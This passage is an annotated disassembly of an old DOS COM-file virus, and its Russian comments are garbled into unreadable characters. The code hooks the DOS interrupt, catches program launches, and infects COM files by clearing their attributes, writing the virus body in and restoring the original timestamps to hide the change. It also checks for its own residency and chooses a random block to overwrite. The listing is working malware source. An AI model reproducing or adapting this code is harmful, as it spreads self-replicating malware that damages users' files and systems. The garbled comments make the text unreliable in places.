; <20><> <20><>⨢<EFBFBD><E2A8A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
01B2 75 62 jne short loc_0216 ; Jump if not TSR virus
|
|||
|
; -------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>-<2D><><EFBFBD><EFBFBD>⥫<EFBFBD> ----------------------
|
|||
|
01B4 8B D5 mov dx,bp
|
|||
|
01B6 B8 3D02 mov ax,3D02h
|
|||
|
01B9 CD 21 int 21h ; DOS Services ah=function 3Dh
|
|||
|
; open file, al=mode,name@ds:dx
|
|||
|
01BB 06 push es
|
|||
|
01BC 1F pop ds ; DS = ES
|
|||
|
01BD 72 38 jc short loc_01F7 ; Jump if CF=1 (<28>.<2E>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
01BF 93 xchg bx,ax
|
|||
|
; <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20>६<EFBFBD> ᮧ<><E1AEA7><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>-<2D><><EFBFBD><EFBFBD>⥫<EFBFBD>
|
|||
|
01C0 B8 5700 mov ax,5700h
|
|||
|
01C3 CD 21 int 21h ; DOS Services ah=function 57h
|
|||
|
; get file date+time, bx=handle
|
|||
|
; returns cx=time, dx=time
|
|||
|
01C5 72 2C jc short loc_01F3 ; Jump if CF=1
|
|||
|
; --------------------------------------------------------------------
|
|||
|
; * <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠧ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> MEM-<2D><><EFBFBD><EFBFBD><EFBFBD> *
|
|||
|
; --------------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <><E1ABA5><EFBFBD>饣<EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD>⮨<EFBFBD> <20> <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠧ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>
|
|||
|
; <20><>砫쭮<E7A0AB><ECADAE> <20><><EFBFBD><EFBFBD> <20><>। <20><><EFBFBD><EFBFBD><EFBFBD>. <20>.<2E>. <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>室<EFBFBD><E5AEA4> <20><>१
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD>" <20> ⥫<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᮤ<>ন<EFBFBD><E0A6A8><EFBFBD> <20>祥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20>뫨 <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD>䨪<EFBFBD><E4A8AA><EFBFBD><EFBFBD>, <20>뫮 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> <20>祥<EFBFBD> <20><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> MEM-<2D><><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
; <20><>ଠ<EFBFBD> MEM-<2D><><EFBFBD><EFBFBD><EFBFBD> : dw <20><><EFBFBD><EFBFBD><EFBFBD>, dw ᮤ<>ন<EFBFBD><E0A6A8><EFBFBD>, dw <20><><EFBFBD><EFBFBD><EFBFBD>, dw ᮤ<>ন<EFBFBD><E0A6A8><EFBFBD>
|
|||
|
; <20> <20>.<2E>.
|
|||
|
; --------------------------------------------------------------------
|
|||
|
01C7 52 push dx
|
|||
|
01C8 51 push cx
|
|||
|
01C9 56 push si
|
|||
|
01CA 81 C6 09C0 add si,Vir_END - Vir_start ; SI = 㪠<><E3AAA0>⥫<EFBFBD> <20><> MEM-<2D><><EFBFBD><EFBFBD>
|
|||
|
01CE loc_01CE:
|
|||
|
01CE AD lodsw ; String [si] to ax
|
|||
|
01CF FE C4 inc ah ; <20>ਡ<EFBFBD><E0A8A1><EFBFBD><EFBFBD><EFBFBD> 0100h
|
|||
|
01D1 74 04 jz short loc_01D7 ; Jump if Mark-end
|
|||
|
01D3 97 xchg di,ax
|
|||
|
01D4 A5 movsw ; Mov [si] to es:[di]
|
|||
|
01D5 EB F7 jmp short loc_01CE
|
|||
|
01D7 loc_01D7:
|
|||
|
01D7 5E pop si
|
|||
|
;--------------- <20><>१<EFBFBD><E0A5A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⥫<> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> -------
|
|||
|
01D8 BA 0100 mov dx,100h
|
|||
|
01DB B9 1000 mov cx,1000h
|
|||
|
01DE 03 8C 0110 add cx,offset OriginalFileSize - Vir_start [si]
|
|||
|
01E2 B4 40 mov ah,40h
|
|||
|
01E4 CD 21 int 21h ; DOS Services ah=function 40h
|
|||
|
; write file bx=file handle
|
|||
|
; cx=bytes from ds:dx buffer
|
|||
|
;--------------- <20><>१<EFBFBD><E0A5A7> <20><>譥<EFBFBD><E8ADA5> (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>) --------
|
|||
|
01E6 33 C9 xor cx,cx ; Zero register
|
|||
|
01E8 B4 40 mov ah,40h
|
|||
|
01EA CD 21 int 21h ; DOS Services ah=function 40h
|
|||
|
; write file bx=file handle
|
|||
|
; cx=bytes from ds:dx buffer
|
|||
|
01EC 59 pop cx
|
|||
|
01ED 5A pop dx
|
|||
|
; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20>६<EFBFBD> ᮧ<><E1AEA7><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>-<2D><><EFBFBD><EFBFBD>⥫<EFBFBD>
|
|||
|
01EE B8 5701 mov ax,5701h
|
|||
|
01F1 CD 21 int 21h ; DOS Services ah=function 57h
|
|||
|
; set file date+time, bx=handle
|
|||
|
; cx=time, dx=time
|
|||
|
01F3 loc_01F3:
|
|||
|
; -------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
01F3 B4 3E mov ah,3Eh
|
|||
|
01F5 CD 21 int 21h ; DOS Services ah=function 3Eh
|
|||
|
; close file, bx=file handle
|
|||
|
01F7 loc_01F7:
|
|||
|
01F7 C6 06 00FF 00 mov byte ptr ds:[00FFh],0 ; <20><><EFBFBD> १<><E0A5A7><EFBFBD><EFBFBD>⭮<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㦭<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>᪠<EFBFBD><E1AAA0> <20>ணࠬ<E0AEA3><E0A0AC> <20><><EFBFBD><EFBFBD>⥫<EFBFBD>
|
|||
|
; -------------------------------------------------------------------------
|
|||
|
; * <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>-<2D><><EFBFBD><EFBFBD>⥫<EFBFBD> <20><> <20><><EFBFBD><EFBFBD>ଠ樨 <20> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD> *
|
|||
|
; -------------------------------------------------------------------------
|
|||
|
01FC 56 push si
|
|||
|
01FD 81 C6 0BC0 add si,Vir_END - Vir_start + 0200h
|
|||
|
0201 loc_0201:
|
|||
|
0201 AD lodsw ; String [si] to ax
|
|||
|
0202 8B C8 mov cx,ax
|
|||
|
0204 E3 08 jcxz short loc_020E ; Jump if cx=0
|
|||
|
0206 AD lodsw ; String [si] to ax
|
|||
|
0207 FE C4 inc ah
|
|||
|
0209 97 xchg di,ax
|
|||
|
020A F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
020C EB F3 jmp short loc_0201
|
|||
|
020E loc_020E:
|
|||
|
020E 5F pop di ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᠬ <20><> ᥡ<>
|
|||
|
020F BE 3000 mov si,1111h ; ࠧ<><E0A0A7><EFBFBD> 䠩<><E4A0A9>-<2D><><EFBFBD><EFBFBD>⥫<EFBFBD> <20><> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>
|
|||
|
OriginalFileSize = word ptr $ - 2
|
|||
|
0212 81 C6 0100 add si,offset start ; COM <20>ணࠬ<E0AEA3><E0A0AC> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0100h
|
|||
|
0216 loc_0216:
|
|||
|
0216 B9 0800 mov cx,4096 / 2 ; ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <><E1ABAE><EFBFBD>
|
|||
|
0219 06 push es
|
|||
|
021A 1F pop ds ; DS = ES
|
|||
|
021B C3 retn
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20>⥭<EFBFBD><E2A5AD> <20><> 䠩<><E4A0A9> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ES:0000
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
sub_021C proc near
|
|||
|
021C 33 D2 xor dx,dx ; DX = 0000
|
|||
|
021E B9 EF00 mov cx,0EF00h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20>⥭<EFBFBD><E2A5AD>
|
|||
|
; (<28><>᪨<EFBFBD><E1AAA8><EFBFBD>쭮)
|
|||
|
0221 B4 3F mov ah,3Fh
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㥬 <20>맮<EFBFBD> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD>쭮<EFBFBD><ECADAE> <20><>ᯥ<EFBFBD><E1AFA5><EFBFBD><EFBFBD> DOS
|
|||
|
;==========================================================================
|
|||
|
DOS_func:
|
|||
|
0223 9C pushf ; Push flags
|
|||
|
0224 FA cli ; Disable interrupts
|
|||
|
0225 0E E8 000B callf sub_0234
|
|||
|
0229 C3 retn
|
|||
|
sub_021C endp
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠡ<EFBFBD><E0A0A1>稪 <20><>ᯥ<EFBFBD><E1AFA5><EFBFBD><EFBFBD> DOS (INT 21h)
|
|||
|
;==========================================================================
|
|||
|
sub_022A proc far
|
|||
|
022A 3D 4B00 cmp ax,4B00h
|
|||
|
022D 74 0E je short loc_023D ; Jump if equal
|
|||
|
022F 3D 424F cmp ax,'BO'
|
|||
|
0232 74 05 je short loc_0239 ; Jump if equal
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD>쭮<EFBFBD><ECADAE> INT 21h
|
|||
|
;==========================================================================
|
|||
|
sub_0234 proc far
|
|||
|
0234 EA db 0EAh ;jmp far ptr 0:0
|
|||
|
0235 0042 data_0235 dw ?
|
|||
|
0237 DCB6 data_0237 dw ?
|
|||
|
sub_0234 endp
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
0239 loc_0239:
|
|||
|
0239 B8 4D42 mov ax,'MB' ; <20>⢥<EFBFBD> <20><> <20><><EFBFBD>
|
|||
|
023C CF iret ; Interrupt return
|
|||
|
023D loc_023D:
|
|||
|
023D 2E: 8C 16 0324 mov cs:Save_SS,ss
|
|||
|
0242 2E: 89 26 0329 mov cs:Save_SP,sp ; <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20>⥪<EFBFBD>
|
|||
|
0247 FA cli ; Disable interrupts
|
|||
|
0248 8C C8 mov ax,cs
|
|||
|
024A 8E D0 mov ss,ax
|
|||
|
024C BC 0100 mov sp,offset Start ; <20>࣠<EFBFBD><E0A3A0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⥪ <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; PSP
|
|||
|
024F FB sti ; Enable interrupts
|
|||
|
0250 06 push es
|
|||
|
0251 1E push ds
|
|||
|
0252 55 push bp
|
|||
|
0253 57 push di
|
|||
|
0254 56 push si
|
|||
|
0255 52 push dx
|
|||
|
0256 51 push cx
|
|||
|
0257 53 push bx
|
|||
|
0258 FC cld ; Clear direction
|
|||
|
0259 8B F2 mov si,dx ; DS:DX - <20><><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
025B B9 0050 mov cx,50h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 80 ᨬ<><E1A8AC><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
025E 8B FE mov di,si
|
|||
|
;--------------- <20>뤥<EFBFBD>塞 <20><><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> ---------------------------------------
|
|||
|
0260 locloop_0260:
|
|||
|
0260 AC lodsb ; String [si] to al
|
|||
|
0261 3C 3A cmp al,':'
|
|||
|
0263 74 04 je short loc_0269 ; Jump if equal
|
|||
|
0265 3C 5C cmp al,'\'
|
|||
|
0267 75 02 jne short loc_026B ; Jump if not equal
|
|||
|
0269 loc_0269:
|
|||
|
0269 8B FE mov di,si
|
|||
|
026B loc_026B:
|
|||
|
026B 0A C0 or al,al ; Zero ?
|
|||
|
026D E0 F1 loopnz locloop_0260 ; Loop if zf=0, cx>0
|
|||
|
;--------------- 䠩<> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> COMMAND <20><> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
026F 8B F7 mov si,di
|
|||
|
0271 BF 0105 mov di,offset Copyright - 1
|
|||
|
0274 B1 07 mov cl,7
|
|||
|
|
|||
|
0276 locloop_0276:
|
|||
|
0276 AC lodsb ; String [si] to al
|
|||
|
0277 24 DF and al,0DFh ; al = UpCase (al)
|
|||
|
0279 47 inc di
|
|||
|
027A 2E: 3A 05 cmp al,cs:[di]
|
|||
|
027D E1 F7 loopz locloop_0276 ; Loop if zf=1, cx>0
|
|||
|
|
|||
|
027F 75 09 jnz short loc_028A ; Jump if not zero
|
|||
|
0281 AC lodsb ; String [si] to al
|
|||
|
0282 0A C0 or al,al ; Zero ?
|
|||
|
0284 74 0E jz short loc_0294 ; Jump if yes
|
|||
|
0286 3C 2E cmp al,'.'
|
|||
|
0288 74 0A je short loc_0294 ; Jump if equal
|
|||
|
;--------------- <20><>墠<EFBFBD><E5A2A0><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---------------------------------------
|
|||
|
; <20>㤠 <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD> ⥫<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20>࣠<EFBFBD><E0A3A0><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20>ணࠬ<E0AEA3><E0A0AC><EFBFBD><EFBFBD> <20><><EFBFBD>ᨢ<EFBFBD>
|
|||
|
028A loc_028A:
|
|||
|
028A BB 1000 mov bx,1000h ; <20>㦭<EFBFBD> 4<><34><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
028D B4 48 mov ah,48h
|
|||
|
028F E8 FF91 call DOS_func
|
|||
|
0292 73 03 jnc short loc_0297 ; Jump if carry=0
|
|||
|
0294 loc_0294:
|
|||
|
0294 E9 0083 jmp loc_031A
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ਡ<EFBFBD><E0A8A1><EFBFBD> 䠩<><E4A0A9> ------------------
|
|||
|
0297 loc_0297:
|
|||
|
0297 8E C0 mov es,ax
|
|||
|
0299 B8 4300 mov ax,4300h
|
|||
|
029C E8 FF84 call DOS_func
|
|||
|
029F 72 74 jc short loc_0315 ; Jump if carry Set
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20>㦭<EFBFBD> <20><>ਡ<EFBFBD><E0A8A1><EFBFBD> ----------------
|
|||
|
02A1 D1 E9 shr cx,1 ; Shift w/zeros fill
|
|||
|
02A3 73 0A jnc short loc_02AF ; Jump if carry=0
|
|||
|
02A5 D1 E1 shl cx,1 ; Shift w/zeros fill
|
|||
|
02A7 B8 4301 mov ax,4301h
|
|||
|
02AA E8 FF76 call DOS_func
|
|||
|
02AD 72 66 jc short loc_0315 ; Jump if carry Set
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 䠩<> -----------------------------
|
|||
|
02AF loc_02AF:
|
|||
|
02AF B8 3D02 mov ax,3D02h
|
|||
|
02B2 E8 FF6E call DOS_func
|
|||
|
02B5 72 5E jc short loc_0315 ; Jump if carry Set
|
|||
|
02B7 93 xchg bx,ax
|
|||
|
02B8 06 push es
|
|||
|
02B9 1F pop ds ; DS = ES
|
|||
|
02BA E8 FF5F call sub_021C ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 䠩<>
|
|||
|
02BD 72 51 jc short loc_0310 ; Jump if carry Set
|
|||
|
;--------------- <20><EFBFBD><E0AEA2>塞 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 䠩<> --------------------
|
|||
|
02BF 3B C1 cmp ax,cx ; <20><><EFBFBD>誮<EFBFBD> <20><><EFBFBD><EFBFBD>让
|
|||
|
02C1 74 4D je short loc_0310 ; Jump if =
|
|||
|
02C3 3D 1400 cmp ax,1400h ; <20><><EFBFBD>誮<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>쪨<EFBFBD>
|
|||
|
02C6 72 48 jb short loc_0310 ; Jump if <
|
|||
|
;===============================================================
|
|||
|
;- [!] --------- <20><>ࠡ<EFBFBD><E0A0A1>뢠<EFBFBD><EBA2A0> ⮫쪮 䠩<><E4A0A9> <20><>ଠ<EFBFBD><E0ACA0> COM ---------
|
|||
|
;===============================================================
|
|||
|
02C8 81 3E 0000 5A4D cmp word ptr ds:[0000],'ZM'
|
|||
|
02CE 74 40 je short loc_0310 ; Jump if equal
|
|||
|
02D0 81 3E 0000 4D5A cmp word ptr ds:[0000],'MZ'
|
|||
|
02D6 74 38 je short loc_0310 ; Jump if equal
|
|||
|
;--------------- <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20>६<EFBFBD> ᮧ<><E1AEA7><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9> ---------
|
|||
|
02D8 50 push ax
|
|||
|
02D9 B8 5700 mov ax,5700h
|
|||
|
02DC E8 FF44 call DOS_func
|
|||
|
02DF 58 pop ax
|
|||
|
02E0 72 2E jc short loc_0310 ; Jump if carry Set
|
|||
|
02E2 2E: 89 0E 0308 mov cs:data_0308,cx
|
|||
|
02E7 2E: 89 16 0305 mov cs:data_0305,dx
|
|||
|
;===============================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD>"
|
|||
|
;===============================================================
|
|||
|
02EC 53 push bx
|
|||
|
02ED E8 0069 call sub_0359
|
|||
|
02F0 5B pop bx
|
|||
|
02F1 50 push ax
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD>樮<EFBFBD><E6A8AE><EFBFBD>㥬<EFBFBD><E3A5AC> <20><> <20><>砫<EFBFBD> 䠩<><E4A0A9> ---------------
|
|||
|
02F2 33 C9 xor cx,cx ; Zero register
|
|||
|
02F4 33 D2 xor dx,dx ; Zero register
|
|||
|
02F6 B8 4200 mov ax,4200h
|
|||
|
02F9 E8 FF27 call DOS_func
|
|||
|
02FC 59 pop cx
|
|||
|
02FD 72 11 jc short loc_0310 ; Jump if carry Set
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> 䠩<> --------------------
|
|||
|
02FF B4 40 mov ah,40h
|
|||
|
0301 E8 FF1F call DOS_func
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20>६<EFBFBD> ---------------------
|
|||
|
0304 BA 1F97 mov dx,1111h
|
|||
|
data_0305 = word ptr $ - 2
|
|||
|
0307 B9 2B87 mov cx,1111h
|
|||
|
data_0308 = word ptr $ - 2
|
|||
|
030A B8 5701 mov ax,5701h
|
|||
|
030D E8 FF13 call DOS_func
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 䠩<> ----------------------------------
|
|||
|
0310 loc_0310:
|
|||
|
0310 B4 3E mov ah,3Eh
|
|||
|
0312 E8 FF0E call DOS_func
|
|||
|
;--------------- <20><EFBFBD><E1A2AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -----------------------------
|
|||
|
0315 loc_0315:
|
|||
|
0315 B4 49 mov ah,49h
|
|||
|
0317 E8 FF09 call DOS_func
|
|||
|
031A loc_031A: ; Leave virus
|
|||
|
031A 5B pop bx
|
|||
|
031B 59 pop cx
|
|||
|
031C 5A pop dx
|
|||
|
031D 5E pop si
|
|||
|
031E 5F pop di
|
|||
|
031F 5D pop bp
|
|||
|
0320 1F pop ds
|
|||
|
0321 07 pop es
|
|||
|
0322 FA cli ; Disable interrupts
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> <20>⥪ -----------------------------
|
|||
|
0323 B8 0FCC mov ax,1111h
|
|||
|
Save_SS = word ptr $ - 2
|
|||
|
0326 8E D0 mov ss,ax
|
|||
|
0328 BC FFF8 mov sp,1111h
|
|||
|
Save_SP = word ptr $ - 2
|
|||
|
;--------------- <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠡ<><E0A0A1><EFBFBD> <20><>ᯥ<EFBFBD><E1AFA5><EFBFBD><EFBFBD> --------------------
|
|||
|
032B B8 4B00 mov ax,4B00h ; <20>㭪<EFBFBD><E3ADAA><EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
|
|||
|
032E E9 FF03 jmp sub_0234 ; <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD>쭮<EFBFBD><ECADAE>
|
|||
|
; <20><>ᯥ<EFBFBD><E1AFA5><EFBFBD><EFBFBD> DOS
|
|||
|
sub_022A endp
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; SUBROUTINE
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
RND_0_FF proc near
|
|||
|
0331 B8 0100 mov ax,100h
|
|||
|
0334 EB 12 jmp short RND_0_AX
|
|||
|
|
|||
|
0336 B0 40 RND_0_3F: mov al,40h
|
|||
|
0338 A9 db 0A9h ; TEST AX,im16
|
|||
|
0339 B0 10 RND_0_F: mov al,10h
|
|||
|
033B A9 db 0A9h ; TEST AX,im16
|
|||
|
033C B0 08 RND_01234567: mov al,8
|
|||
|
033E A9 db 0A9h ; TEST AX,im16
|
|||
|
033F B0 04 RND_0123: mov al,4
|
|||
|
0341 A9 db 0A9h ; TEST AX,im16
|
|||
|
0342 B0 03 RND_012: mov al,3
|
|||
|
0344 A9 db 0A9h ; TEST AX,im16
|
|||
|
0345 B0 02 RND_01: mov al,2
|
|||
|
0347 98 cbw ; Convrt byte to word
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
RND_0_AX:
|
|||
|
0348 52 push dx
|
|||
|
0349 51 push cx
|
|||
|
034A 50 push ax
|
|||
|
034B E8 073C call RND ; AX = RND
|
|||
|
034E 59 pop cx
|
|||
|
034F 33 D2 xor dx,dx ; 0:AX
|
|||
|
0351 F7 F1 div cx ; ax,dx rem=dx:ax/reg
|
|||
|
0353 92 xchg dx,ax ; AX = <20><><EFBFBD><EFBFBD>⮪ <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0354 59 pop cx
|
|||
|
0355 5A pop dx
|
|||
|
0356 0B C0 or ax,ax ; Zero ?
|
|||
|
0358 C3 retn
|
|||
|
RND_0_FF endp
|
|||
|
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20>᭮<EFBFBD><E1ADAE><EFBFBD><EFBFBD> <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>堭<EFBFBD><E5A0AD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20>室 : AX = ࠧ<><E0A0A7><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD> COM-䠩<><E4A0A9>
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
sub_0359 proc near
|
|||
|
;------- <20><>।<EFBFBD><E0A5A4>塞 <20> 䠩<><E4A0A9> <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><>᮪ ࠧ<><E0A0A7> 4<><34><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---------------
|
|||
|
; <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD> ࠧ<><E0A0A7><EFBFBD> 䠩<><E4A0A9>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0359 2E: A3 0210 mov cs:OriginalFileSize,ax
|
|||
|
035D 8B F8 mov di,ax ; DI - 㪠<>뢠<EFBFBD><EBA2A0> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 4<> <20><> ࠧ<><E0A0A7><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4><EFBFBD> <20><><EFBFBD> ⮣<>, <20>⮡<EFBFBD>
|
|||
|
; <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><>᮪ <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9>, <20> <20><><EFBFBD>ᨬ<EFBFBD><E1A8AC>
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9>
|
|||
|
035F B9 1000 mov cx,4096
|
|||
|
0362 2B C1 sub ax,cx
|
|||
|
